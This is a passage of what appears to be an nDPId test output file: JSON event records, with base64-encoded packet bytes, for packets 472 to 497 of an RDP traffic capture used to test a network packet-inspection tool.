hnu8D5xIwvovOdiAlR4XW445DbvceKTHe7sPcmC5w40gP1fmQu\/TheybP4G5bwrfPiFR5zHih3TfZstKgSZ\/PgHg3Y7K2h5Pj\/7YxSTK7zpZ6UKxPKZuyij4IiOTzNfgOaGnK\/\/\/+C+z7T\/nvz7DwHNLYv4cg\/hxiK+gg9RE1owdnMfM36vl3JTypOtqlzeJgcfMZzICVGRSNstSZreaJR4uYZvD8a6CKPtwAXvq7ue8P+3Eh6PvG\/Ngx6yABnj+R2BNqFv2XXC24H0RBIBG80wZ9HjJFGanCU1pK7v8QFBz0OwumfBC3FatFIvcX2oxbiScQfBa8eB\/P2p5ecKHVC2sCBgoKmn8rrW3PCqAMfc9a6ZJpclbC11BJjejHV4n\/MiXUxWTlZQA3wQDhEu5Nfe4TwvjsIKun9uM83V87UFcePlpekQ33jGNJIoosfQyJ\/iEGWTMXP4Ne+px12U2FxS2mArfahkoUcOrxLr9cn+sF8ULMk\/8audyBSY\/aOq3UwFnNETCC2KDJ2Hs6ANJ+BD9YSmRzif71RnZz40162++2ZXvPebP1Hp+I64jk\/ddSMxwaFPWpfoyVHSjL\/unExxdy\/+fGWh2bmAp46TdslqzVdhLOGyNnmD54q0+7jJ9OfTSUbCw4tF7eG925qixUfmyKgsgZjyF0gA1j9EzqcijqdZ9h831HApYkWckWVAbptKLSvJp\/jl2NL3cZVG7yjUOOanneHTQ1Tzh1Nudq3We+dRRD0u9y5OAR+QvotP4HrO37T+6Xjk+673Q8Or369jJxQuSv24bVecdQ9ff81pA9YsGYD5f9xGLnPkHe4h9QKNVylpHtKb7Ifftwr9\/r2iGx25LQmtY4S8UqwxY2+wgb6wWiGz2fjPB4su7E5sFsfENFSNvaOAwzZGzfrQgVe1CMjOYVpxxjPrH29qpWUo3P\/1oI2JotXZC98u65J2yAFk8XGr0MhQO8IRoPqMB3DHCN3wRyGlQxIxciEftFRKW1KFshTHECj0w5bOJTlTmY6MNWyJcEpAwOpQhCPnWKam418p5n\/OZEQzJ03cR+5JsQEPVybOpSO\/2dtAhkhOYz8bydJbUDugT5KkzOl89PUjnbdDY3o5dgzHVjHJKivG2WlBxnXA0g0QiKvO7+ge0utFWEOaRSU6OwIVAISzog0DNAXT2upN3h4DIqwS8RIiME0k8gMapkbLnYkP1AUxfLIqyp1PqYFTUH6pHY1utcqKz3aO3UxyG84AB02oBS2AzFEG1Dyk31XM12TYiN1NpZqhN7MHn0h3Y1jjKPI2sOVJEZ2n"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":472,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00869{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":473,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":527812,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNgZ0AAfwYn7sCoAo6sEAK5DT3NDkebd5r5vQK1UBj2Q\/MYAADs9ztoT0ZZ0asqQ+Y6H0mBWG0AZanIlZUUMFrYKIYF1gmC7rj\/TAfq2qRT\/pDDaQpG\/bobX2cwbCPYw6Le\/AAUaOGdcpwILCzwi96D0iGUhjM4\/IknNUtPInvH5Z9Nu6LCXv\/N6gK5Z6nul2J\/Oasxj53NtMk8zPfzhlfP7t8K8R6kNAiqwWuZwNHxdA+Pg3wYz9SMVfBd6LjQlb+1kfnIlLZ57qmWaoHaa0RkeUhjap5dITA6LF0cObg6FsOyY877OwwNp9qy+KWU97NrRYeOjnDH\/6OwJnpuN8bv\/kIT+qTqr\/XPXkz3+A+RoX93wijWCfB26pzLlY2yL26dhA7k8XEiO2NVH4Y6YvcOxHTu+YKIyT4oYofSQiYyNweK3Iy1wFfQ3tcYeOOnHHuWVLEa0YgVkcDAGY6NJoCBy7qzilJrgo50YiesNiPtzlovYWfhKSir23T+TRCsd96nElixHZGUG1N\/wu6zkEkvj4HN\/aR0bLjHJ6wStVJw"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":473,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":474,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":527859,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9A1xHm3kVUBAf9IXKAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":474,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":475,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":527905,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gaEAAfwYpM8CoAo6sEAK5DT3NDkebeRX5vQK1UBj2Q1a7AAAXAwMAMAAAAAAAAACNPUL7zXiKBO2kH0Uu5rFUDH7ZBFXfE7yI0RFpmiLyAfWuedMQP6cLXg=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":475,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":476,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":527925,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9A1xHm3kVUBgf9MD9AAAXAwMAMOAIO32NJwuy3n69U9VJRNMahxRs2fuPyWk6DcG5u\/NnkKLoT5pEBa1eN3flC8dqiw=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":476,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":477,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":528030,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9A5FHm3lKUBAf\/oVWAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":477,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":478,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":528188,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9A5FHm3lKUBggAI+GAAAXAwMAMOAIO32NJwuzVgzccVk1ZC066z\/8g6iQYUFQ+UqHiZizMzHdlrOQWgbscP9JoQRUgQ=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":478,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02079{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":479,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":556314,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFgaUAAfwYkbsCoAo6sEAK5DT3NDkebeUr5vQK1UBD2Q9z0AAAXAwMGbwAAAAAAAACOLwioyUAnOuWnljgZa5bwJZPntOvGwPDvoWotaWshXZC6hAkEnYLXtlrTnvktKFqdVriQMG10hnP3leViw28TCpGtgj+O6YBrpStrezmhsj8h4WYnoQQjMgCtBQXYHbuWElAGFb6RwkL22OFcVUf0qJzL0d9qvOlso8SnPLbfbdbCS7tmcJYHNqLHnMyXh8lVsmDAzIqG7xevTIgaIfw+pOh0Km5b828u70Fy8\/VMrkyZvKT2qk25\/ug6+VdWglrPREiNzHnucLeRtGIt1ZUmpDF1A7xKttywQZAhM8C\/YHCBiAPYke6X8TD8yVtCOJSsK\/hU9Ies6UP19rRdjpcIdNP3rvjj2WL4j8LB1lIF4yDSAkC31D3QLhCffCycQdhzUOYdnq+TZ7MXr4wUlVycO1X41hVWGzn3ydDA8tEtsGNnOZJHYzefagMMqaXKKPSI2\/rR2NNe+SCVfC\/nTqWVPQva+o2LB+4c\/K3RJH1kH2Tc6CJxZVUjgSeyMyxAU4O7kDc3SbSj7q5W4QkzG0ycVdmmqQEmgi6vWGje2S48fw6WWrVYNHvaCWhHSOrsXszjWTh4aHW0p+65U2jcTMk+b+Tmd8r6n7xIkXSxOfaWUgG4uA25qWZNQmMGDaqBwCAhjSsWEbHraBNvn7qeA7aFXIHMqDwrJOKQ+IvVGFpUL7JgviJCnQyImj68AKwVwNO3RI9f\/CZGUImtW2SpcXWAYOT0cLf1UwlBN8TnuRCIyJ10\/pD1cNlWmXY1IGzoSA5pGY9wYePS\/C4viDK9C5fWhoGEjIgZgO58ACtZDZpe4zWQ4YSEyMGsAXxtPXQ96fUUJ4GMgZOPcsXfO8Gugs6sZ3xEW8HaDynmFmCn1sUbA69jbLOhWuKrOviUjZuhcjLyzUXLoCGDN0GyL9WoTJ6L4Jy\/i41CbGHP28J5i0zX\/KgkiAK9l\/G45JgatMg47wE488LSfMcxgmM2wYorN\/kaMwPw7sxnDnAtixmrD4loozs7ihwrjEPtQFNMSFelSf0llNKeuH12PP5fQXbImpAMQjYD12K6lcXsDrReRkWjFEO75K4uGkNhSh95Zcg1cFTGkrnQzsksLjZ7yfU8us\/hvCrBc1lNcCj\/uRMGIuFxSFYpEr\/C4jgPST7XJdpOiHZfkcqFqFTvCKqiDHvjjfq1gRy4a1ph6g2HbD4D1sGppvXzUcFbkYB\/pxkMhyU8lMaT10M8emCYsHHYhf+lmqAtkM79\/8\/Q15Y0bZ27hS6fpTpFCfLvdmwSAhcYUpNkBkJF6Tzmo+HcTz0llSd9+rqqn6KcTonGUbNGLWD2SY3xs+VmPp\/BGDsSzMOtHv2pwt2sBaVkcjKxGSn5eysLCvb5CcftqnXARPZQY+55uNax5bj49qYOhUZm5un9Sa4oWrpbDcTwQWI9Kb\/q3k1E\/c8KR57HiMzoifyvHM6jgeHhrBf0qzJ4yma+jqSdJR+csnwJpi0ag3PIbLYsRkR7UxSU2C3W05BXrild2\/ERSkeABSMXzcoo0rGJYhzsniqy3QIYWCJFTHp+weFizTHFUhzIWs8mu2DuV0bURHbmShysAqlSvK7HHB1TKQgyNu23\/P\/9Y7ZdarH5wXbdNZCQdIIYFCwAkhpl6Z6fFfXCMlzap\/eAZIXFT\/VVAVTzz\/KWDIi0eERW3wTSVxD32AnX"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":479,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00863{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":480,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":556365,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNgakAAfwYn68CoAo6sEAK5DT3NDkebfkP5vQK1UBj2QzhzAAD4SPz0PFOrdtxwQKQHbye0IxeitDNOZEfu8Y7G0RCO8VeYU\/EFeetAZ1gNQ2Saci4AzuJRUDk6dFwW8JBiLrebvg9ivJqrGKEp2T4ttGVfV68snUMSpQ0GcF3GC78K4DiLJMmaE3RNLgpSBm9+s14MAYR6n3gD617V6xsLwRcLktt3ZrMSUDthdtbBO2jpLCn4wBNMdmjdA+ncS9leMlJNAKvIkMlFUrruWyT9ZK7B1m298fuwf0u8+YLetLel2FtM1dmCI\/\/byJJZdcnK9V5\/4pCJPApeVDc0frNMcOq7ytFvS4P\/awZMr9mTTGKZhNt+pImc62IM+nB0A7kjaZ90bUW5uA6BWpTmmUrAW5LXm1+QlNk\/q97xGwaHPq1e2+9ZLrUx14W4LbsNF1laxShomxq88mhvDzNW5u53CiREUKXPobhHmZP+vxNjX3z8XqMYcHK0OqIQo0YydoigH7zAZJn1f\/tAjaxrN7ilnZ3WHWX4eUDoK079Uu2+"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":480,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":481,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":556399,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9A8ZHm3++UBAf9H63AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":481,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00426{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":482,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":556409,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1ga0AAfwYpMMCoAo6sEAK5DT3NDkebf775vQK1UBj2Q\/fBAAAXAwMAMAAAAAAAAACPniwqqqLehDcnC\/\/OvPGSRXK8tzlACfY85ZeNY+Ckc9Q\/ZZrW5Rko0w=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":482,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":483,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":556471,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChgbEAAfwYpZMCoAo6sEAK5DT3NDkebf\/P5vQMfUBD12alDAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":483,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":484,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":556493,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9A8ZHm3\/zUBAf8n6EAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":484,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00433{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":485,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":556821,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9A8ZHm3\/zUBggAE2EAAAXAwMAOOAIO32NJwu0y5marrZZMTGYN+RWsCCocxBhZIXy+ufK+C0sky+1ISAQvTO85FubZPrIH298kbJA"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":485,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":486,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":573835,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChgbUAAfwYpY8CoAo6sEAK5DT3NDkebf\/P5vQORUBD1Z6lDAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":486,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":487,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":573860,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gbkAAfwYpLcCoAo6sEAK5DT3NDkebf\/P5vQPGUBj1MsIHAAAXAwMAMAAAAAAAAACQytoteal9VrbOdOA68YzZuLuFoJ7bHInG4ZXIC53OHI6hO0p+4XiWVg=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":487,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":488,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":573897,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9BANHm4AoUBAf\/n4GAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":488,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00433{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":489,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":573903,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGVgb0AAfwYpJMCoAo6sEAK5DT3NDkebgCj5vQPGUBj1MjugAAAXAwMAOAAAAAAAAACRcT\/P0HVk5z2HT3e2dAczT2cZwSjIZg3jfFtkbbbWDvV3sAMmoBmMSW1df0y4XvAX"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":489,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00424{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":490,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":573961,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gcEAAfwYpK8CoAo6sEAK5DT3NDkebgGX5vQPGUBj1Mm9vAAAXAwMAMAAAAAAAAACSD\/Rqwl89pApXwMJivVlZz9M5fTpWmJObTidm3dryr86FFypVnjqp\/A=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":490,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":491,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":574014,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9BANHm4BlUBAf\/n3JAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":491,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":492,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":574147,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9BANHm4CaUBAf\/n2UAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":492,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02076{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":493,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":574240,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFgcUAAfwYkZsCoAo6sEAK5DT3NDkebgJr5vQPGUBD1MmUMAAAXAwMGbwAAAAAAAACT+VyPbInHT2VXDmeTpOeWoKnFg28tXuSwtsDH2A0mLHlsBQ26xi88YrNhfT5pCilQ0AugsPcEdEnwzga2e8B1bcht19d+BPFcbZlN7980BleZggcnBMjEpgs6Ei2JyJSvjr2wZiXbWYP0TfC\/Emi1MywqYpnkFfcYcZT\/5\/y9740tIB5w6ItmHCpHKVF5wDhaIiVHW4\/x1l2PIrLIUH4\/ULMrMEIOR7zNmSiEIsW39FnlTo6RlHlpotgdEDpOaKQNmm\/Jz43y3Pf+esSfyODVgt2hvtA7Kfvqb6furRlnN71EQACPr\/K4JzFeWWXceWrTOhiSxdRUnryViw8weepo9iyBEPbtGMwn2JuAX9PTdl6nUXeiauOm+jcZ10nvztvIfBThqjGzcCtoHio2pR1wjrDugOyKtSRDE\/lMEoAqtxZJnrzylF+8AxAS4math8fN5cHxMn7Vw1I1\/sOoDtHg1TR2I2r+iq1nViSTvEzAIppeBXI8VjG8HeVrKfE1HZ1WjDQ8iEa+LAACNV3Tps4otqolLc9s\/+Uih9Rob8pgc6SeQv9aLGt2pELMWxTVcjUxeo3HA51bTTPNzLWwcM1UIpW+SOBkysZENAKgsFZg1BEay\/srtYvuw47I+Z9K8p7pSgGBcec8Reyu6nYgCP1Cxfeb7Ic\/iryTYRJ4gVrdVva\/\/sPyqEUAvxHOHLy1CgPeBbw8MNqradPYUSFySsrKcomPpCuaPXOilkP0yO7OAjFrWh9zFfeOHKKT1fYGl\/G7MxXj0zluYiss6qxcxBvtSLsuyOpXfaRZk+EZCJjkjdnsGe\/gNmHSwkIBz6UxncEzhBGjJZXhXQJgiboUMG+LIgbc7dv7SK+DWXcxPd9qBsVOwuXvM1q0zsI6lWwsQYoae2vyo99b8PXd29pGT+n6z8M28c3fZhqXvNHkJbwGXUivSWtCV4GiJaX1jkE\/Z17EVU2EKqYsSKTOn5YocCmG4DcrgLZ8hWgqoRzTV+fc9YvnrvbsI\/5lrfY2YFF6kxy+7EFxkuEBBko7OdeVk+op\/tpznvxHTU7qjDbsz9ftGPfurKIHG1jfMDlnZ319taVmvDnhuAQBUo9kb\/yi+yGwqy5J4o1rjY8SaC8eVostOAZay1pOUnKmwLL8iqGDFit\/cO9ygMDJ5xPZlQFb4gdsZjBoVSTvEMmcPKBy3LvrWPgd+qjphDWWPRuc5fJsbmT7OE\/j7Y1OJ7hLrLUzNd1prNTSEJiKJdBYYmp+bmtlCCw+N1AdOOBoN1zZ4hnec5sA2Sgd3E8sFffqjDmri8UcsEKCyykREtjT+RiU7NCnx4JDl+xO4knU\/NPwSSSSGqHbbp3GEgxvKtQjj6LZBDWMtgv28cLRa+8aLYbwe3mxovl5\/DzRCSSYvHHNno3q+7ZALC8lvtiM0xb2BwiI+SdUGfDfGByDi81Y2w6XISafp2d+H7XJqBS31OJIqvXHPhZR0DCFEjcOIo+qnGJHjKlNSRIVILCvKqktuil233lEL66beXcOMGw6AHMAKTBnSMp6hNXsU3cIdn3rkvcZYvUh6iLIQy7DyKgimI8vHTTSNVfEzoX++D\/EIYvrXLEu2+VJCcDYTha6HNOISVLEdR+w0Hm+\/kg7tIs1WvA5ICu8B5SRtQCtQcEy0N3+7tMmT8QvhqlZbbsg6sUeFUaD"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":493,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00862{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":494,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":574328,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNgckAAfwYn48CoAo6sEAK5DT3NDkebhZP5vQPGUBj1MreKAABp8ExpzzyHKX4xyR6JNwNPPMmrE6CJCnm72vxNHYHML6tbPdmph+uZKfKL7h0qga\/Qj4XB12JEs1qr6z98TL4t2zg7zZCOsxpCDtfh7v5OJfkDFsY0oWA8F+tYOdhPsatgJIHoui0KxK0JdbB+pQ78+7kf20hZ9QzsGYhFrjc8bfRWnRtXEnXrqbYtjQc\/OUvFN5kwH5Eso846bhXXDZkHqQ0\/T7+Ca1CG1rVe8Wt+hhclppjcl3aZ1CyOcOlgG\/NU5BtBxWWziD6IufPklQS8h8DZHv9T+v0NTpdusU6FjjiOOTgVQ0qeVoMA3EprNptuPDdzDP3cyBh1BnKEsBHa1Nrp+39TX6xw6tVFcTpk\/1tntaBWGrrITfnhkRwArW49moTunNOJYNTxx2y3XzIAP2GdLxzkDiInAwzjLDWawtjRtyRPk08NdKgy2at\/7jspg5JkYE1l8MEUsy+ve5HtoB6zxYd7PB14jcWo1V2vv5CyA1ZC7g87jqZ8"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":494,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":495,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":574366,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9BANHm4cOUBAf9HcqAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":495,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":496,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":574502,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gc0AAfwYpKMCoAo6sEAK5DT3NDkebhw75vQPGUBj1MiJVAAAXAwMAMAAAAAAAAACUVv+GRAtLal8ceUNGtiOgJUOBSUpuwPnamoq78mOLv9gvVBRgG2O7Sg=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":496,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":497,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":574529,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9BANHm4cOUBggAG2CAAAXAwMAMOAIO32NJwu1ObbbdaVoWstw1T+F8VrSoo1C+VzzAch1A\/nYZNR+8RRjNklWN2ZVqA=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":497,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} 